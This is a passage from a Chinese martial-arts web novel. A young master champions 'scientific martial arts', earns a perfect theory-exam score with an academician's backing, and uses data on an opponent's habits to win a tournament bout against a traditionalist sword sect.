“看来岳长老对我们很有意见啊。”王大头平静道。
抽签继续。接下来的对阵中,青城剑派对上了白家,少林俗家弟子会对上了天骄预备营一队,雷家一队则抽到了一个相对较弱的对手。
一个小时后,所有对阵确定。
淘汰赛将在三天后开始,但在此之前,所有参赛队伍还要参加一个特殊的环节——
“全国武道新秀赛综合考核”。
这个考核分为两部分:理论笔试和实战对战。理论笔试占30%权重,实战对战占70%。最终成绩将作为选手个人能力评定和队伍整体评价的重要依据,甚至会影响到赛后各队伍能获得的资源支持。
“理论笔试的范围很广。”
李雅看着刚发下来的考核大纲,“传统武学理论、现代运动科学、人体解剖学、战术分析……几乎涵盖了武道相关的所有领域。”
“笔试在明天上午,实战对战在后天。”
吴刚计算着时间,“也就是说,我们有一天半的时间准备笔试。”
“一天半?”
孙浩哀嚎,“这么多内容,怎么准备得完?”
“重点准备我们擅长的部分。”
王大头道,“传统武学理论,我们可以用科学角度去解析;现代运动科学,那是我们的强项;人体解剖学,我教过你们基础;战术分析,我们每天都在做。”
他看向众人:“关键是答题思路。传统的答卷,往往堆砌术语,强调感悟。我们要做的,是用数据、图表、公式,把问题说清楚。”
接下来的时间,龙门众人几乎泡在了基地的图书馆和自习室。
王大头将自己对武道的科学理解,系统性地整理成一份厚厚的笔记。
周倩和吴刚负责查阅资料,补充细节。孙浩虽然头疼,但还是硬着头皮死记硬背。
张猛虽然不能久坐,但也躺在旁边听着。
南宫明月没有参与讨论,她有自己的准备方式——她抱着一本泛黄的剑谱,在窗边**,时而翻页,时而闭目沉思。
第二天上午九点,理论笔试在基地最大的考场举行。
考场能容纳五百人,此刻坐满了六十四支队伍的领队和核心队员——每支队伍最多派三人参考。
龙门这边,王大头、周倩、吴刚三人参考。
张猛伤势未愈,孙浩理论底子薄,南宫明月则对这种考试不感兴趣。
试卷发下来,厚厚一叠,足有二十页。
王大头快速浏览了一遍题目。
题型很全面:选择题、填空题、简答题、论述题。内容确实包罗万象,从《周易》与武道的关系,到肌肉纤维类型与爆发力的关联,再到现代战场环境下的战术选择。
考场里很快响起笔尖划过纸张的沙沙声。
王大头没有急着动笔,他先花了十分钟通读所有题目,然后才开始作答。
选择题和填空题,他答得很快——很多内容他都在平时的教学中讲过。
简答题,他力求简洁准确,用科学语言代替模糊描述。
真正的挑战在最后的论述题。
题目有三道,任选两道作答:
论述“天人合一”思想在武道修炼中的体现及其现代意义。(50分)
结合实例,分析传统武术套路在实战中的价值与局限。(50分)
试论现代科技(如生物力学、运动生理学、数据分析等)对武道发展的影响与挑战。(50分)
王大头几乎没有任何犹豫,选择了第二题和第三题。
因为这两题,最能体现科学武道的理念。
他开始动笔。
第二题,他先定义“传统武术套路”——系统化的攻防动作组合,具有传承性、规范性和审美性。然后分析价值:训练基本功、形成肌肉记忆、传承文化。接着分析局限:缺乏实战应变、过分强调形式、与现代格斗环境脱节。
关键在“结合实例”。王大头以嵩山剑法为例,分析了其经典套路“朝阳剑法”的动作构成、发力原理,然后指出在实战中如果死守套路,会被对手预判;但如果理解每个动作背后的力学原理,就能灵活拆解、组合,适应不同情况。
他画了简单的示意图,标注了角度、力矩、力量传导路径。
第三题,他更是如鱼得水。从生物力学优化发力姿势,到运动生理学制定训练计划,再到数据分析对手习惯、预测战术选择,他洋洋洒洒写了近两千字。最后,他提出了一个观点:
“现代科技不是要取代传统武道,而是要为其插上翅膀。科技是工具,武道是灵魂。真正的武道发展,应该是‘以科技为用,以武道为体’,在尊重传统的基础上,拥抱科学,走向未来。”
两个小时后,考试结束。
交卷时,监考老师看到王大头答卷上密密麻麻的图表和公式,明显愣了一下。
“这……这是什么?”
监考老师皱眉。
“科学解析。”
王大头平静道。
监考老师摇摇头,没再多说,收走了试卷。
出了考场,周倩和吴刚围上来。
“王老师,你答得怎么样?”周倩问。
“应该还
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行。”
王大头道,“你们呢?”
“第二题和第三题我都选了。”
吴刚道,“按照你教的方法,用了很多数据和图表。”
“我也是。”
周倩点头,“不过监考老师看我的卷子时,表情有点古怪。”
三人正说着,旁边传来一声嗤笑。
“科学解析?画几张图,写几个公式,就以为自己是武道大师了?”
说话的是嵩山派的岳**。
他约莫二十七岁,身材修长,面容冷峻,背着一柄古朴长剑,此刻正用不屑的眼神看着王大头。
“岳师兄有何指教?”
王大头平静道。
“指教谈不上。”
岳**淡淡道,“只是提醒你,武道不是算术题。你那些花里胡哨的理论,在真正的剑法面前,不堪一击。”
“后天比赛,自见分晓。”王大头道。
“我等着。”
岳**转身离开,走了几步又回头,“对了,我师父让我转告你:你的答卷,他‘很感兴趣’。”
这话听起来客气,但语气中的冷意,谁都听得出来。
当天下午,理论笔试的阅卷开始了。
阅卷组由十位资深武道专家组成,其中就包括岳松涛、**远和赵刚。
十人分为两组,交叉阅卷,确保公平。
阅卷室里,气氛凝重。
大部分答卷都很传统,堆砌着“气”“意”“神”“虚”等术语,强调感悟和传承。
偶尔有几份答卷尝试用现代科学解释,但也只是浅尝辄止。
直到岳松涛看到了一份特殊的答卷。
“这……这是什么鬼东西?”
岳松涛脸色铁青,将一份答卷摔在桌上。
其他阅卷老师围过来,只见答卷上满是图表、公式、力学分析,传统武学术语很少,更多的是“肌肉收缩”“神经信号”“能量转化效率”等科学词汇。
“这是谁的卷子?”
**远拿起卷子,看到左上角的考号,“007号……是龙门王大头。”
他仔细看了起来,越看眼睛越亮。
“有意思……真的有意思。”
**远推了推眼镜,“用生物力学分析剑法套路,用运动生理学优化训练方案,用数据分析预测战术……虽然有些地方还不够严谨,但思路新颖,逻辑清晰。”
“荒谬!”
岳松涛怒道,“武道是千年传承的智慧,岂能用这些旁门左道来解析?这份答卷,应该判零分!”
“岳长老,冷静。”
赵刚拿起答卷翻看,“我倒是觉得很有价值。我们部队的训练,早就在用这些方法了。只是没想到,有人能把它系统化、理论化。”
“你们……”岳松涛气得胡子发抖。
阅卷组其他老师也传阅了这份答卷,意见分成了两派。
保守派认为这是对武道的亵渎,应该给低分;开明派则认为这是创新,值得鼓励。
争论持续了两个小时,最后谁也说服不了谁。
“这样吧。”
**远提议,“这份答卷确实特殊,我们十个人投票决定分数。然后……我建议提交给协会的学术委员会,请陈老亲自审阅。”
“陈老?”
众人一惊。
陈老,国家武道协会副会长,科学院院士,国内武道理论研究的泰斗,已经八十高龄,很少过问具体事务了。
“陈老最近正在研究武道与现代科学的结合,这份答卷,他一定会感兴趣。”**远道。
岳松涛脸色变了变,但没再反对。
陈老的地位太高,他也不敢轻易质疑。
最终,十人投票:四人给高分(8-9分),四人给低分(2-3分),两人给中等分(5-6分)。平均分5.2分,刚刚及格。
但这个分数只是暂时的。
**远将答卷复印了一份,派人紧急送往陈老在京城郊区的住所。
谁也没想到,这份答卷,将引起一场更大的风波。
第126章:破例召见
理论笔试成绩公布的前一天傍晚,龙门小楼迎来了一位意想不到的客人。
当时王大头正在训练室指导孙浩练习《游龙步》的变向技巧,周倩在厨房准备晚餐,吴刚在客厅整理资料,张猛趴在沙发上看战术录像——医生终于允许他适度活动了。
敲门声响起时,所有人都愣了一下。
这个时间点,通常不会有人来访。
李雅去开门,门外站着一个穿着深灰色中山装、头发花白的老者。
老者约莫六十多岁,面容清癯,眼神温和,但身上有种说不出的威严。
“请问,王大头王会长在吗?”
老者的声音很温和。
“您是……”
李雅有些警惕。
“我姓陈,**远。”
老者微笑道,“理论笔试的阅卷老师之一。”
**远教授?他怎么会亲自来?
李雅连忙将**远请进客厅。众人听到动静都围了过来。
王大头从训练室走出,看到**远,微微一愣,随即抱拳行礼:“陈教授,您好。”
“王会长,冒昧来访,打扰了。”
**远打量了王大头几眼,眼中闪过一丝赞许,“年轻有为,气度沉稳,不错。”
“陈教授请坐。”
王大头将**远让到沙发上,“不知陈教授前来,有何指教?”
**远没有立刻回答,而是从随身的公文包里取出一份文件——正是王大头理论笔试的答卷复印件。
“王会长,你的这份答卷,在阅卷组引起了很大争议。”
**远开门见山,“有人认为是离经叛道,有人认为是创新突破。最终我们给了5.2分的平均分,刚刚及格。”
王大头神色平静:“意料之中。”
“你不觉得委屈?”
**远饶有兴趣地问。
“任**事物刚出现时,总会受到质疑。”
王大头道,“科学武道要走的路还很长,我不急。”
“好心态。”
**远点头,“不过,我今天来,不是要跟你说分数的事。”
他顿了顿,压低声音:“你的答卷,我提交给了陈老——陈国华院士,国家武道协会副会长,也是我的老师。”
陈国华院士!武道理论界的泰斗!
众人都是一惊。
“陈老看了你的答卷,非常感兴趣。”
**远继续道,“他让我来请你,明天上午去他那里一趟,他想和你当面谈谈。”
“陈老要见我?”
王大头惊讶道。
“对。”
**远点头,“陈老已经八十高龄,很少见外人了。但你的答卷,触动了他这些年的研究。他有些问题想亲自问你,也有些话想对你说。”
王大头沉默片刻,郑重道:“多谢陈教授引荐。明天我一定准时赴约。”
**远留下陈老的地址和联系方式,又聊了几句,便起身告辞。
送走**远后,客厅里一片安静。
“陈国华院士……”
李雅喃喃道,“那可是真正的大人物。他要是认可了科学武道,那龙门就真的站住脚了。”
“但要是他不认可呢?”张猛担心道。
“不认可也无妨。”
王大头平静道,“路是我们自己走的,不需要所有人都认可。”
话虽如此,但众人都明白,陈老的态度,对龙门的未来至关重要。
第二天上午九点,王大头准时来到京城西郊的一处幽静小院。
小院很朴素,青砖灰瓦,院子里种着几株梅树,还有些不知名的花草。
一个穿着布衣的老者正在院子里打太极,动作舒缓,行云流水。
老者看到王大头,缓缓收势,微笑道:“来了?进来坐。”
这就是陈国华院士。
他看起来比实际年龄年轻些,头发全白但梳理得一丝不苟,眼神明亮而睿智,身上有种学者特有的儒雅气质。
两人在院子里的石桌旁坐下,陈老的助手端上清茶。
“王会长,你的答卷我仔细看了三遍。”
陈老开门见山,“用生物力学分析剑法,用运动生理学优化训练,用数据分析预测战术……这些想法,我这几年也在研究。”
王大头心中一凛,恭敬道:“请陈老指教。”
“指教谈不上。”
陈老摇头,“我是想问问你,你对‘科学武道’的最终设想是什么?是彻底抛弃传统,用科学重新构建一套体系?还是在传统的基础上,用科学方法进行改良?”
这个问题很关键。
王大头沉思片刻,缓缓道:“我认为,传统武道是千年智慧结晶,其中蕴含着无数先辈对人体、对力量、对自然的深刻理解。但这些理解,受限于当时的认知水平,往往用玄妙的语言包裹。”
他顿了顿:“科学武道的目标,不是抛弃传统,而是‘翻译’传统——用现代科学的语言,重新解读那些千年智慧,去伪存真。。然后,在这个基础上,用科学方法进行优化、创新、发展。”
陈老眼睛一亮:“说得好。继续。”
“举个例子。”
王大头道,“传统内功讲究‘气沉丹田’。从解剖学角度,‘丹田’区域是人体重心所在,也是核心肌群**处。‘气沉丹田’的本质,是通过呼吸和意念引导,让身体重心下沉,核心肌群稳定,从而提升发力效率和身体平衡。”
“再比如‘轻功提纵’。从物理学角度,那是通过腿部爆发力对地面做功,获取反作用力。但传统轻功之所以神奇,在于它通过特殊训练,大幅提升了腿部爆发力和能量利用效率。我们可以用生物力学仪器测量这些数据,然后设计更科学的训练方法。”
陈老听得频频点头。
两人从上午九点一直聊到中午十二点,从武道理论聊到训练方法,从传统套路聊到现代实战,话题越来越深入。
最后,陈老长叹一声:“可惜,可惜啊。”
“可惜什么?”
王大头问。
“可惜我老了,没有精力亲自推动这个事业了。”
陈老看着王大头,眼神中充满了期望,“但你不一样,你还年轻,有想法,有魄力。王会长,我想请你帮我一个忙。”
“陈老请讲。”
“国家这些年,一直在推动‘科学武道’计划。”
陈老低声道,“目的是将现代科技与传统武学结合,提升军队和警方的实战能力。但这个计划遇到了很大阻力——很多传统门派认为这是离经叛道,拒绝合作;而科研机构又缺乏真正的武道人才,研究流于表面。”
他握住王大头的手:“你的理念,和这个计划完全契合。我想请你,作为特邀顾问,参与这个计划。”
王大头愣住了。
国家级的“科学武道”计划?特邀顾问?
“陈老,我只是一个普通武者,恐怕……”
“不,你不普通。”
陈老摇头,“能提出这套理论的人,全国都找不出几个。而且你有实战经验,有教学经验,这正是计划最需要的。”
他顿了顿:“当然,这件事不急。你可以先考虑考虑。眼下,先把新秀赛打好。你的答卷,我会亲自重审,给你一个公正的分数。”
正说着,陈老的助手匆匆走进来,在陈老耳边低语了几句。
陈老脸色微变,对王大头道:“王会长,有件事得告诉你。你的答卷,在协会内部引起了轩然大浪。岳松涛联合了几位保守派长老,正在施压,要求将你的答卷判为零分,甚至取消龙门后续的参赛资格。”
王大头心中一沉:“为什么?”
“他们说你的理论‘动摇武道根基’,‘误导年轻一代’。”
陈老冷笑,“但我知道,他们真正怕的,是你的理念一旦推广,会打破传统门派的垄断地位。”
他站起身:“不过你放心,这件事我来处理。明天的成绩公布会上,我会亲自到场。我倒要看看,谁敢在我面前颠倒黑白。”
陈老的话,让王大头心中涌起一股暖流。
离开小院时,天色已近黄昏。
王大头走在回基地的路上,心中思绪翻涌。
陈老的支持,是意外之喜。但岳松涛等人的阻挠,也是预料之中。
科学武道的路,注定不会平坦。
但越是如此,他越要坚定地走下去。
回到小楼,众人立刻围上来询问情况。
王大头简单说了与陈老的会面,但没有提“科学武道”计划的事——这件事太大,他需要时间考虑。
“也就是说,陈老会支持我们?”李雅眼睛一亮。
“嗯。”
王大头点
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头,“但明天的成绩公布会,恐怕不会太平。”
果然,第二天上午,理论笔试成绩公布会在基地会议厅举行。
会场里座无虚席,所有参赛队伍都到场了。
评委席上,除了常规的评委,还多了一个位置——陈国华院士亲自到场,坐在正中间。
岳松涛坐在陈老旁边,脸色不太好看。
成绩公布开始。
大部分队伍的成绩都在6-8分之间,属于正常范围。
青城剑派林惊羽拿到了8.5分的高分,白子羽8.2分,雷家一队的雷昊(虽然受伤但参加了笔试)7.8分。
终于,轮到龙门。
“龙门武道研究会,考生王大头、周倩、吴刚。”
主持人念道,“成绩分别是……”
他顿了顿,看着手中的成绩单,脸上露出难以置信的表情。
“王大头,10分,满分!”
“哗——!!!”
全场哗然!
理论笔试满分?
这在历届新秀赛中从未有过!
“不可能!”
岳松涛猛地站起,“我要求重审这份答卷!”
陈老缓缓开口:“岳长老,这份答卷,我已经亲自审阅过了。逻辑严谨,论证充分,创新性强,给满分并不过分。”
“陈老,您……”
岳松涛脸色铁青,“但这答卷的内容,完全背离了武道传统!”
“传统需要尊重,但不能固步自封。”
陈老声音不大,但清晰地传遍全场,“武道要发展,就需要新的思路,新的方法。王大头会长的‘科学武道’,正是这样一条新路。”
他站起身,环视全场:“我在这里正式宣布,国家武道协会将成立‘武道科学发展研究中心’,王大头会长将作为特邀顾问参与研究。同时,龙门武道研究会的理念,将作为重点研究方向之一。”
这番话,如同重磅**,在会场中炸开!
国家级的支持!特邀顾问!重点研究方向!
这意味着,科学武道不再是无根之萍,而是有了官方的认可和支持!
**山、沈万钧等人的脸色难看到了极点。
岳松涛更是气得浑身发抖,但面对陈老的权威,他不敢再多说什么。
王大头站起身,在所有人的注视下,走到会场中间。
“感谢陈老,感谢协会的认可。”
他声音平静而坚定,“科学武道,不是要否定传统,而是要发展传统。这条路还很长,需要更多人的努力。龙门愿意做这块探路石,为武道的发展贡献一份力量。”
掌声响起。
先是零星的,然后越来越多,最后汇成一片。
许多年轻武者眼中闪着兴奋的光芒——他们看到了新的可能。
成绩公布会结束后,王大头被陈老叫住。
“王会长,刚才我说的事,你可以慢慢考虑。”
陈老低声道,“不过眼下,还有一件事需要你帮忙。”
“陈老请讲。”
“科学武道计划,需要一个‘样板’。”
陈老道,“一个能展示科学武道威力的样板。明天的实战对战,就是最好的机会。嵩山派是传统名门,如果你能用科学武道的方法击败他们,那将是最好的证明。”
王大头眼神坚定:“我会全力以赴。”
“好。”
陈老拍拍他的肩膀,“明天,我会亲自观战。”
离开会场时,龙门众人被许多队伍围住,有祝贺的,有请教的,也有打探消息的。
直到回到小楼,众人才有机会平复心情。
“满分!王老师你太厉害了!”孙浩兴奋道。
“陈老的支持更重要。”
李雅激动道,“有了协会的认可,我们龙门就真的站住脚了!”
“但明天的实战,压力也更大了。”
周倩轻声道,“所有人都盯着我们,嵩山派肯定会拼尽全力。”
王大头点头:“所以,明天的战术要调整。”
他看向众人:“第一局擂台战,还是我上,对岳**。第二局夺旗战……”
他的目光落在南宫明月身上:“明月,你上。”
所有人都愣住了。
南宫明月虽然实力强,但一直是自由人的角色,很少作为主力出战。
“为什么是我?”南宫明月平静问。
第127章:理念之战前夜
“因为你的剑法,最适合展示‘科学武道’的实战应用。”
王大头道,“岳**是传统剑法高手,你用我教你的‘科学剑理’与他交手,最能体现两种理念的差异。”
“科学剑理?”南宫明月若有所思。
“对。”
王大头点头,“你的剑法本就高超,如果再结合力量分析、角度计算、节奏控制,威力会提升一个档次。我要你在所有人面前,用科学的方法,击败传统的剑法。”
南宫明月眼中闪过一丝光芒:“有意思。我接受。”
“第三局混战,大家全力以赴。”
王大头看向所有人,“明天这一战,不仅仅是为了晋级,更是为了证明科学武道的价值。”
众人齐声应诺。
夜渐深。
小楼里灯火通明,战术讨论还在继续。
而明天,将是一场真正意义上的理念之战。
陈老公开支持科学武道的消息,如同投入平静湖面的巨石,在基地内激起千层浪。
一夜之间,龙门从备受争议的“野路子”,变成了备受瞩目的“新理念代表”。
许多年轻武者找上门来,或请教,或探讨,或单纯想看看这个“科学武道”到底有何特别。
龙门小楼的门槛都快被踏破了。
“王会长,您能讲讲那个力量传导效率的计算公式吗?”
“周倩师姐,你们平时训练真的用运动手环监测心率吗?”
“吴刚师兄,硬功修炼的肌肉电信号分析是怎么回事?”
面对热情的同道,龙门众人耐心解答。
王大头知道,这些年轻武者中,很多人对传统武学的玄奥描述感到困惑,科学解析让他们看到了新的可能。
但也有不和谐的声音。
“哗众取宠罢了。”
一个中年武者冷眼看着被围住的龙门众人,“武道靠的是苦练和悟性,画几张图、写几个公式就能成高手?笑话!”
“就是,陈老也是老糊涂了,居然支持这种歪理邪说。”
“明天嵩山派就会让他们原形毕露!”
这些议论,王大头都听到了,但他不在意。路是自己走的,不需要所有人都理解。
傍晚时分,最后一批访客离开。
龙门众人终于能坐下来,专心准备明天的实战。
“嵩山派的资料,我重新整理了一遍。”
李雅调出全息投影,“岳**,二十七岁,化劲初期,嵩山派‘朝阳剑法’传人,曾获三年前‘华山论剑’青年组季军。性格沉稳,剑法严谨,几乎没有破绽。”
投影上播放着岳**的比赛录像。
剑光如雪,招式连绵,确实深得嵩山剑法精髓。
“他的‘朝阳剑法’共七十二式,以守为攻,后发制人。”
周倩分析道,“但看这几场比赛,他每次获胜都在三十招以内——说明他不喜欢缠斗,追求速胜。”
吴刚补充数据:“岳**的出剑速度平均每秒2.1剑,最快可达2.5剑。步伐移动速度每秒8米,转向半径1.2米。从数据看,他的弱点是持续作战能力——高强度战斗超过五十招后,速度会下降15%左右。”
“五十招……”
王大头沉吟,“第一局擂台战,我需要和他周旋五十招以上,消耗他的体力,然后寻找机会。”
“但他是化劲初期,你是初窥门槛,硬拼的话……”张猛担心道。
“不硬拼。”
王大头摇头,“用科学分析。吴刚,你把岳**所有比赛录像中,他出剑的角度、力度、节奏,做成统计图表。我要找出他的习惯性动作和潜在破绽。”
“已经在做了。”
吴刚调出一个复杂的图表,“根据七场比赛的数据分析,岳**在施展‘朝阳初现’这一式后,有65%的概率接‘云开见日’;在向左移动时,他的剑会比向右移动时低3度;另外,他每次深呼吸后,接下来的三招会格外凌厉,但之后会有短暂的气息调整期。”
这些细微的习惯,在普通人眼中可能毫无意义,但在高手对决中,却是决定胜负的关键。
“很好。”王大头点头,“第一局,我有把握。”
“第二局夺旗战呢?”
孙浩问,“明月姐一个人上?”
按照规则,第二局是“指导战”——由领队指导一名队员,与对方进行一对一较量。这既考验队员实力,也考验领队的战术眼光和指导能力。
龙门这边,王大头指导南宫明月。
嵩山派那边,岳松涛指导岳**。
这不仅是队员间的较量,更是两位领队——科学武道与传统武道——的间接对决。
“明月,你的剑法本就高超,但我希望明天你能用‘科学剑理’来打。”
王大头看向南宫明月,“不是改变你的剑法,而是用科学的方法优化它。”
“比如?”
南宫明月平静问。
“比如出剑角度。”
王大头在白板上画图,“传统剑法讲究‘剑走轻灵’,但什么样的角度最能发挥速度?根据空气动力学,剑身与空气的夹角在15度时阻力最小。再比如发力时机,肌肉在收缩到70%长度时力量最大,如果能精确控制到这个点……”
他详细讲解着,将剑法的每一个细节都用科学语言重新解析。
南宫明月听得认真,时而点头,时而提出疑问。
她本就是顶尖剑客,对这些原理一点就透。
“有意思。”
她最后说,“用这种方式理解剑法,确实更清晰。”
“第三局混战,我们全员上场。”
王大头看向众人,“嵩山派其他四名队员,实力都在暗劲中期左右。我们的优势是配合和战术执行力。记住,不要单打独斗,要用团队的力量。”
战术会议一直开到深夜。
众人各自回房休息后,王大头独自站在训练室里,对着全息投影反复观看岳**的比赛录像。
一剑,又一剑。
角度,力度,节奏。
他在脑海中模拟着与岳**的对决,计算着每一种可能的应对方式。
不知过了多久,训练室的门被轻轻推开。
南宫明月走了进来,手中拿着剑。
“睡不着?”
王大头问。
“想再练练。”
南宫明月拔出剑,剑身在灯光下泛着淡青色寒光,“你刚才说的那个发力时机,我想感受一下。”
她缓缓挥剑,动作很慢,似乎在体会肌肉收缩的感觉。
王大头看着她练剑,忽然问:“明月,你师父……是个什么样的人?”
南宫明月动作微顿,沉默片刻,才道:“他是个奇人。在山中隐居,与世无争,但剑法通神。他教我的东西,有些很传统,有些……又很
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超前。”
“超前?”
“比如他会用一些奇怪的术语,什么‘能量传导’‘神经反应’。”
南宫明月收剑,“当时我不懂,现在想来,那和你说的‘科学武道’有些相似。”
王大头心中一动:“你师父还在世吗?”
“三年前去世了。”
南宫明月语气平淡,但眼中闪过一丝黯然,“他走得很安详,说该教的都教了,剩下的路要我自己走。”
“所以你下山游历,寻找自己的剑道?”
“对。”
南宫明月点头,“直到看到你们龙门。你的理念,让我想起了师父的一些话。他说,武道到了高处,殊途同归。无论用什么方法,最终都是对人体的极致掌控。”
两人沉默片刻。
“明天的比赛,我会赢。”
南宫明月忽然道,“不仅仅是为了龙门,也为了验证我自己的路。”
“我相信你。”王大头郑重道。
夜深了。
基地里大多数灯光都已熄灭,只有少数房间还亮着——那是各支队伍在连夜备战。
龙门小楼外,一个黑影悄然掠过,消失在夜色中。
黑影来到基地边缘的一栋小楼,敲响了房门。
门开,岳松涛站在门内。
“如何?”
岳松涛沉声问。
“龙门在连夜备战,重点分析岳**师兄的习惯。”
黑影低声道,“他们还发明了什么‘科学剑理’,准备用在明天的指导战中。”
岳松涛冷笑:“科学剑理?哗众取宠!**!”
“师父。”
岳**从里间走出。
“明天的指导战,你不仅要赢,还要赢得漂亮。”
岳松涛眼神冰冷,“用最纯粹的嵩山剑法,让所有人看看,什么才是真正的武道!”
“弟子明白。”
岳**点头,眼中闪过坚定之色。
“另外……”
岳松涛顿了顿,“如果机会合适,可以‘失手’重创那个南宫明月。她是龙门的重要战力,废了她,龙门在后面的比赛就走不远了。”
岳**眉头微皱:“师父,这……”
“怎么?心软了?”
岳松涛冷冷道,“武道之争,不是你死就是我亡。龙门若崛起,我们这些传统门派还有什么地位?记住,你是嵩山派的未来,有些事,必须做。”
“……弟子明白了。”岳**低下头。
黑影悄然退去。
岳松涛站在窗前,看着夜空,眼神阴鸷。
“科学武道……哼,我会让你们知道,有些路,不是你们能走的。”
同一时间,龙门小楼。
王大头结束训练,正准备回房休息,手机忽然震动。
是一条陌生号码发来的信息,只有一句话:
“小心岳松涛,他要废南宫明月。”
王大头瞳孔一缩,立刻回拨,但提示是空号。
谁发来的?白子羽?林惊羽?还是……别的什么人?
他走到窗边,看向嵩山派所在的方向。
夜色深沉,看不到什么。
但那种山雨欲来的感觉,越来越强烈。
第二天清晨,阳光明媚。
但基地里的气氛,却凝重得令人窒息。
理念之战,即将开始。
龙门对嵩山派。
科学武道对传统剑法。
这一战,将决定很多东西。
第128章:剑理之争
上午九点,**训练场。
今天的观众席爆满,连过道都站满了人。
媒体区的摄像机比以往任何时候都多,几家国内最大的直播平台都派来了专业团队。
评委席上,陈国华院士亲自到场,坐在正中间。
岳松涛坐在他旁边,脸色不太好看。**远和赵刚也在,还有几位武道协会的高层。
场地中间,是一座特制的合金擂台,比标准擂台大了三倍,更适合施展剑法。
“全国武道新秀赛六十四强淘汰赛,第一轮第七场,龙门武道研究会对阵嵩山派!”
主裁判朗声宣布,“比赛分三局,第一局擂台战,第二局指导战,第三局混战。现在,第一局开始!双方队员上场!”
龙门这边,王大头走上擂台。
嵩山派那边,岳**缓步登台。
他今天穿着一身白色绣金边的道袍,背负长剑,面容冷峻,行走间衣袂飘飘,确有几分出尘之气。
两人相对而立,抱拳行礼。
“王会长,请指教。”
岳**声音平静。
“岳师兄,请。”
王大头摆出龙门基础拳法的起手式。
裁判示意比赛开始。
岳**没有立刻出手。
他缓缓拔剑,剑名“朝阳”,剑身呈淡金色,在阳光下熠熠生辉。
剑出鞘时,发出一声清越的剑鸣,久久不绝。
“好剑!”
台下有人赞叹。
岳**执剑在手,整个人的气质陡然一变!
之前的沉静淡然,化作了凌厉的锋芒。他剑尖斜指地面,眼神锁定王大头。
三秒后,他动了。
一步踏出,剑光如朝阳初升,直刺王大头面门!
这一剑,不快,但堂堂正正,带着一股浩然之气,让人避无可避!
王大头眼神一凝,《星辰观想法》全力运转,在剑光及体的瞬间,脚下步伐诡异地一扭,《游龙步》施展,险险避开。
但剑光刚过,第二剑已至!
“朝阳剑法·云开见日!”
剑势陡然加快,如云散日出,光芒万丈!
剑影重重,将王大头笼罩其中!
果然如数据分析,岳**在“朝阳初现”后,接的是“云开见日”!
王大头早有准备,脚下步伐连变,在剑影中穿梭。
他能感觉到,岳**的剑法确实严谨,几乎没有任何破绽。
每一剑的角度、力度、节奏,都恰到好处。
但,只是“几乎”。
十招过后,王大头逐渐适应了岳**的节奏。
他能“看”到,岳**每次向左移动时,剑尖会微微下沉——虽然只有3度的差异,但在高手眼中,这就是破绽!
二十招时,王大头开始反击。
他不再一味闪避,而是主动贴近,双拳如雨点般轰出!
每一拳都精准地打在岳**发力的节点上,破坏他的剑势节奏。
岳**越打越心惊。
他能感觉到,王大头的拳法看似简单,但每一拳都打在关键位置,让他浑身难受,剑法运转都有些不畅。
“这是什么拳法?”
岳**忍不住问。
“龙门基础拳法。”
王大头平静道,“但加了一点科学分析——你的‘云开见日’发力时,腕关节会先向内旋5度再外展;你的‘朝阳初现’收剑时,重心会向后偏移2厘米。这些习惯,就是破绽。”
岳**脸色大变!
这些细节,连他自己都没注意到!
“不可能!你怎么可能看出来?”
“观察,计算,分析。”
王大头一拳轰出,正中岳**腕关节内旋的瞬间,“这就是科学武道。”
“砰!”
岳**闷哼一声,连退三步,手腕剧痛!
他眼中闪过一丝狠色,猛吸一口气,剑势再变!
“朝阳剑法·旭日东升!”
这是朝阳剑法中的杀招!剑光如旭日喷薄,气势磅礴,带着一股无可阻挡的威势!
但王大头不闪不避,反而踏步向前,双拳齐出!
这一拳,他用了全力!拳意·开辟!
“轰——!!!”
拳剑相交!
岳**只觉得一股无可抵御的巨力传来,长剑差点脱手!
他连退七步,嘴角溢出一缕鲜血。
王大头也退了三步,拳头上有一道浅浅的剑痕,但眼神更加明亮。
“五十招了。”他忽然道。
岳**一愣。
“根据数据分析,你的高强度战斗极限是五十招。”
王大头平静道,“五十招后,速度下降15%,力量下降10%。现在,是第五十一招。”
话音未落,他动了!
《游龙步》全力施展,身形如鬼魅般贴近!双拳如**般轰出!
岳**急忙挥剑格挡,但他震惊地发现,自己的速度确实慢了!剑招跟不上拳速!
“五十二招!”
一拳轰在剑身上,长剑剧震!
“五十三招!”
又一拳轰在岳**肩头!
“五十四招!”
再一拳轰在胸口!
岳**吐血倒飞,重重摔在擂台边缘,挣扎着想站起,但内脏震荡,根本使不上力。
“第一局,龙门胜!”裁判宣布。
全场哗然!
化劲初期的岳**,竟然败了!而且败得如此彻底!
嵩山派那边,岳松涛猛地站起,脸色铁青。
陈老则微微点头,眼中露出赞许之色。
“科学分析……真的这么厉害?”
观众席上,有人喃喃道。
“不是科学厉害,是用科学的人厉害。”
旁边的人道,“他能把对手分析到这种程度,太可怕了。”
岳**被队友扶下场,经过龙门区域时,他死死盯着王大头,眼中充满了不甘。
“还没结束。”他咬牙道,“第二局,我会赢回来。”
第二局,指导战。
规则是:双方领队在擂台下的指导区,通过耳机指导场上的队员。
队员不能听到对手领队的指导,只能听自己领队的。
龙门这边,王大头指导南宫明月。
嵩山派那边,岳松涛指导岳**。
两位领队,科学武道对传统武道,将在这一局进行间接对决。
南宫明月和岳**重新登上擂台。
“指导战,开始!”裁判宣布。
几乎同时,两位领队的声音通过耳机传入各自队员耳中。
岳松涛:“**,用‘朝阳剑法’起手,稳扎稳打,先试探。”
王大头:“明月,对方会用朝阳剑法起手。根据数据分析,他前三剑的角度分别是15度、22度、18度。你向左移动三步,在第三剑时反击。”
场上,岳**果然使出了朝阳剑法起手式。
南宫明月依言向左移动三步。
第三剑时,她动了!
长剑如电,直刺岳**剑势转换的节点!
“叮!”
双剑相交,岳**剑势一滞!
岳松涛脸色一变:“变招!用‘云开见日’接‘旭日东升’!”
王大头:“他要变招了。云开见日接旭日东升,中间有0.3秒的衔接空当。在他收剑的瞬间,攻他右肋下三寸。”
场上,岳**刚收剑准备变招,南宫明月的剑已经到了!
“噗!”
剑尖刺中右肋下三寸,虽不致命,但让岳**气息一乱!
“怎么可能!”岳松涛震惊,“她怎么知道**要变招?还知道衔接空当?”
他当然不知道,岳**所有的比赛录像,都被龙门用数据分析了个透。
那些细微的习惯和破绽,在科学分析面前无所遁形。
“师父,怎么办?”岳**急切地问。
“冷静!”岳松涛咬牙,“用‘夕阳西下’,转守为攻!”
王大头:“他要转守为攻了。夕阳西下这一式,重心会后移。你假意强攻,引他后撤,然后突袭下盘。”
场上,南宫明月假意强攻,岳**果然后撤使出了“夕阳西下”。
